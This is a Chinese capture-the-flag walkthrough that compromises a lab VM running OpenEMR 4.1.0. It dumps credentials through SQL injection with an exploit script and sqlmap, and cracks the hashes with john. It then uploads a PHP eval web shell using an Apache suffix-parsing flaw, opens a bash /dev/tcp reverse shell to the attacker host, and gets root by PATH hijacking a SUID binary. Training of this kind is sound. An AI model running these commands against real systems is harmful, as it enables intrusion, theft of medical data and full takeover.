文章目录
- 主机发现
- 端口扫描
- FTP—21
- search ProPFTd EXP
- FTP 匿名用户登录
- web服务—80
- 目录扫描
- search openemr exp
- 登录openEMR 后台
- 提权
- 总结
主机发现
使用nmap
扫描局域网内存活的主机,命令如下:
netdiscover -i eth0 -r 192.168.151.0/24
- 192.168.151.1:主机IP;
- 192.168.151.2:DHCP服务器IP;
- 192.168.151.3:靶机IP;
- 192.168.151.4:Kali IP。
端口扫描
使用nmap
对靶机进行端口扫描,命令如下:
nmap -p- -sV -A 192.168.151.3
可见这台靶机,开放了端口:21
(ftp,文件传输协议))、80
(http,web服务)。
FTP—21
search ProPFTd EXP
searchsploit proPTFd # 搜索exp
尝试了1.3.3c和1.3.5的EXP,均失败。
FTP 匿名用户登录
尝试匿名用户登录ftp服务器:
ftp 192.168.151.3# 用户名为anonymous 密码为空
发现登录失败,该FTP服务器不允许匿名登录。
web服务—80
目录扫描
使用dirsearch
进行目录扫描。命令如下:
dirsearch -u http://192.168.151.3 -e php,txt,html,js,php.bak,txt.bak,html.bak,json,git,git.bak
访问192.168.151.3/openemr
,发现了一个后台登录程序,版本号为openEMR v4.1.0
。
search openemr exp
searchsploit openemr # 搜索exp
发现该版本的openEMR
存在sql注入。
searchsploit -m 49742.py # 将漏洞数据库中的exp复制到当前目录下,避免改数据库中的数据。
vim 49742.py # 更改url路径
python 49742.py # 执行
最终可以拿到后台登录用户名与密码,但是密码是经过MD5加密后的结果。同时存在sql注入漏洞的url为:http://192.168.151.3/openemr/interface/login/validateUser.php?u=1
。基于改url,也可以直接用sqlmap
,命令如下:
sqlmap -u 'http://192.168.151.3/openemr/interface/login/validateUser.php?u=1' # 判断是否存在sql注入
sqlmap -u 'http://192.168.151.3/openemr/interface/login/validateUser.php?u=1' --dbs # 查询当前用户下的所有数据库,存在information_schema、openemr、test三个数据库
sqlmap -u 'http://192.168.151.3/openemr/interface/login/validateUser.php?u=1' -D openemr --tables # 获取数据库中的表名 ,users表
sqlmap -u 'http://192.168.151.3/openemr/interface/login/validateUser.php?u=1' -D openemr -T users --columns # 获取表中的字段名,username,password表
sqlmap -u 'http://192.168.151.3/openemr/interface/login/validateUser.php?u=1' -D openemr -T users -C username,password --dump # 获取字段内容
破解数据库密码
脚本拿到数据库密码后如何破解呢?用john the ripper
touch pw.txt
echo '' >> pw.txt # >>:代表换行追加
hashid '' # hashid判断密文可能使用的加密算法
john pw.txt
要看具体哪个密文对应哪个密码,看
.john/john.pot
获取用户名、密码:
admin ackbar
medical medical
登录openEMR 后台
拿到后台用户名和密码,直接登录
在administered->file
处发现一个文件上传点,经过测试不允许上传.php
文件。
查看web服务的中间件版本,是apache 2.2.17
,这个版本是存在多后缀名解析漏洞的。就是说我们可以上传shell.php.
来绕过文件后缀检测。上传的文件最终保存路径就在http://192.168.151.3/openemr/sites/default/images
下。
在Apache 2.0.x <= 2.0.59,Apache 2.2.x <= 2.2.17,Apache 2.2.2 <= 2.2.8中Apache 解析文件的规则是从右到左开始判断解析,如果后缀名为不可识别文件解析,就再往左判断。
<?php @eval($_GET['cmd']);?> # 上传文件内容
http://192.168.151.3/openemr/sites/default/images/shell.php.?cmd=system('bash -i >& /dev/tcp/192.168.151.4/443 0>&1'); # 数据包cookie需要是admin用户的,后门需要经过url编码。
最终的话可以拿到reverse shell。
提权
python -c 'import pty;pty.spawn("/bin/bash")' # 建立一个半交互式shell
find / -perm -u=s -type f 2>/dev/null # 搜索具备SUID属性的程序
这里发现/usr/bin/healthcheck
这个命令肯定不是系统自带的,且具备SUID属性。
cat /usr/bin/healthcheck
,出现乱码,说明是二进制程序。
也可以用
file /usr/bin/healthcheck
,查看文件属性。
strings /usr/bin/healthcheck
查看文件中可打印的字符,从结果可以看出,该程序会执行sleep2; ifconfig; fdisk -l; du -h
这些shell命令。思路:如果ifconfig命令被重定向为其他程序(比如包含/bin/bash
),就可以拿到root用户的shell。
/tmp
目录,任何用户都写读写权限。
touch ifconfig # 常见ifconfig文件
chmod +x ifconfig # 给予可执行权限
echo '/bin/bash' > ifconfig # 写入内容
export PATH=/tmp:$PATH # 修改系统环境变量,后面的$PATH是系统默认的路径
/usr/bin/healthcheck # 不用bash /usr/bin/healthcheck
$PATH
变量的值是一系列用冒号分隔的目录路径。例如:$PATH = /usr/local/bin:/usr/bin:/bin:/usr/local/sbin:/usr/sbin:/sbin
在这个例子中,系统将按照指定的顺序搜索/usr/local/bin、/usr/bin、/bin、/usr/local/sbin、/usr/sbin和/sbin这几个目录。
总结
- 端口扫描发现开放的端口;
- 目录扫描发现web网站的上下文,但是需要合适的字典;
- 发现openemr有漏洞,找到exp直接获取数据库密码;
- 通过获得的密码,登录网站后台,然后找到文件上传点,结合apache解析漏洞获取reverse shell;
- 寻找SUID程序
/usr/bin/healthcheck
,strings
打印可打印字符,发现执行ifconfig
,更改系统环境变量,执行ifconfig时优先执行伪造的ifconfig。